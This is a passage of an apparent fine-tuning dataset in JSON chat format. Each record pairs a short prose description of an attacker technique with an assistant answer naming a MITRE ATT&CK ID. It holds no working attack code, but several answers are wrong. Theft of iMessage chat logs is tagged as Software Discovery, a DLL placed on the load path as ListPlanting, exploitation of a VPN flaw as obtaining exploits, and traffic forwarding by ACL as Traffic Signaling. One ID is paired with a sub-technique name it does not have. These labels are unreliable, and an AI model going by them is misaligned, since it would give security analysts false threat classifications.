                "role": "user",
                "content": "A post-exploitation tool queries the software inventory via the Windows API `EnumInstalledApps`."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing open Chargen services, the adversary sends crafted packets with the victim's IP, resulting in the servers generating massive response streams that saturate the target's bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the \"Program Files\" directory and subfolders to catalog executable files as part of software discovery."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a staging area on the victim’s desktop to store exfiltration-ready data."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware overwrites Windows event logs and clears the Security log to erase evidence of its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases a zero‑day exploit kit from an underground marketplace and installs it on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was embedded in a fake Chrome browser shortcut that pointed to the attacker's script, masquerading as a regular shortcut."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker tunnels malicious traffic through a CDN's domain, exploiting the fact that many organizations allow outbound HTTPS to that domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious port monitor is deployed via a legitimate software update, allowing the attacker to persist on the system without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a software bill of materials (SBOM) to list a compromised component, leading downstream systems to trust the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised Azure AD token to bypass MFA and programmatically retrieve files from SharePoint repositories."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During persistence, the attacker installs a malicious root certificate to bypass network security controls and decrypt encrypted traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed Pass the Ticket by stealing a valid TGT and using it to authenticate to a file server."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts the contents of the user's iMessage chat logs from the local database."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'lsmod' on a compromised Linux host to list loaded kernel modules representing device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder installs a driver that hooks LSASS and is set to load on every system start, granting ongoing access."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider altered ACLs on a core switch to silently forward selected inbound traffic to an external C2 host."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware component establishes a symmetric encrypted channel using a negotiated key for covert communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a forged SSL/TLS certificate from an underground market to impersonate a trusted web service."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux backdoor performs process injection by attaching with ptrace, copying a malicious payload into the target's .text segment."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest data from internal wiki pages that detail network topology and system configurations."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses Azure Blob storage to exfiltrate harvested data from the target network."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses Windows Management Instrumentation to run commands that have been concatenated and scrambled to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion extracts PGP private keys from email client keyrings to sign fraudulent messages."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker issues \"dsquery group\" and \"dsget group\" commands on a domain controller to map group structures."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query DNS passive databases to find historic DNS records for the target’s websites."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compress and encode a DLL into the comment section of a BMP image, then decode it on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module edits the system's crypto library to disable high-strength ciphers, limiting key sizes."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses process hollowing to run its payload within a benign process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder collects the names of all open GUI windows as part of its discovery phase."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware collects hashed credentials and performs authentication attempts using those hashes to gain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor employs a technique where it queries a remote domain that changes daily, using the resolved IP for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used PowerShell's Clear-EventLog cmdlet to erase the Security log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse the Windows Remote Management (WinRM) service to execute PowerShell commands on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker installs a persistent malicious kernel driver via the Windows Driver Store."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Windows API QueueUserAPC to perform process injection via asynchronous procedure calls."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link to a malicious MSI; when the victim clicks it, msiexec is invoked with /update and /quiet parameters, silently installing a credential stealer."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use tools like Nmap to discover open ports and fingerprint the services on remote systems within the target network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses PowerShell to add a new local user named 'svcUser'."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Launching masscan for rapid port scanning of large address blocks to find reachable services."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the red team invokes regsvr32.exe to register a scriptlet that downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a cloud service provider's console, the attacker rewrites the launch template for new virtual machines to install a backdoor on each instance."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed cmd.exe to launch a reverse shell connection back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes WHOIS lookup tools to obtain domain registration and technical contact details for phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the Windows Transport Agent DLL to execute arbitrary code during email processing."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a brute-forced local account password, the attacker gained persistent access to the system and deployed a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the legitimate network provider DLL with a trojanized version to capture user logon information."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a combination of API calls and assembly tricks to hide its threads from debuggers, implementing debugger evasion."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a network mapping script that queries ARP tables and routing tables to reveal the network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape social media profiles to gather information about employee names and roles."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious .docx that opens Microsoft Word on system startup to verify compromised host."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team manipulates the System Volume Information folder to remove all saved restore points."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the SMBIOS tables using the Windows Management Instrumentation (WMI) class Win32_BIOS to obtain firmware revision information."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses automated robo‑calls that reference a recent security alert, urging the target to press a button to install a critical update, which actually installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker posts a comment on a public forum offering a free software license, requiring users to submit their corporate email and login details to receive the download link."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker leveraged an unpatched vulnerability in a VPN client to execute arbitrary code, allowing them to deploy credential dumping tools."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the 'openssl' binary to base64‑decode certificates that contain embedded shellcode."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a ransomware tool to encrypt vital configuration files, disrupting services."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a new Outlook rule that invokes a Windows command to add a registry Run key, ensuring persistence after Outlook is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies a harmful module into a system directory that is on the default load path, ensuring a trusted process loads the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a specially crafted SVG file that, when rendered by the victim's graphic editor, executes a PowerShell command without user consent."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a privileged Azure AD account to maintain long‑term control over the cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wiper malware specifically targets log files, erasing evidence of the breach."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor performed a man-in-the-middle attack on an insecure network, captured the session cookie, and used it to continue a logged-in session as the victim."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 employs a dynamic resolution technique where it calculates domain names based on the current date and tries to resolve them for command‑and‑control."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a custom Windows service to periodically take snapshots and video recordings from the victim’s microphone‑enabled webcam for espionage."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit leverages SMB enumeration to list shared folders on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious .chm file used in the breach leveraged regsvr32.exe to load a remote script, allowing the attacker to execute code on the victim system using the system binary proxy execution method."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the user's Keychain items to extract saved Wi‑Fi network keys and browser passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates with its server using raw IP packets with custom protocol numbers."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a corporate spreadsheet edited the internal web app’s HTML to display defaced content."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker conducts a direct network flood by saturating the target's outbound link with excessive SMTP traffic, overwhelming the network and disrupting legitimate communications."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets employees through internal chat (e.g., Slack) by sending a direct message with a link to a malicious file host."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries publicly available vulnerability databases like the NVD to discover exploitable CVEs."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending malformed HTTP requests to a local web server, the attacker forces the endpoint to consume all its file descriptors."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider uses valid credentials obtained from a terminated employee to log into the corporate VPN and gain network access."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting malicious code into the RDP client, the threat actor hijacks the current user’s remote session and executes commands on the target host."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
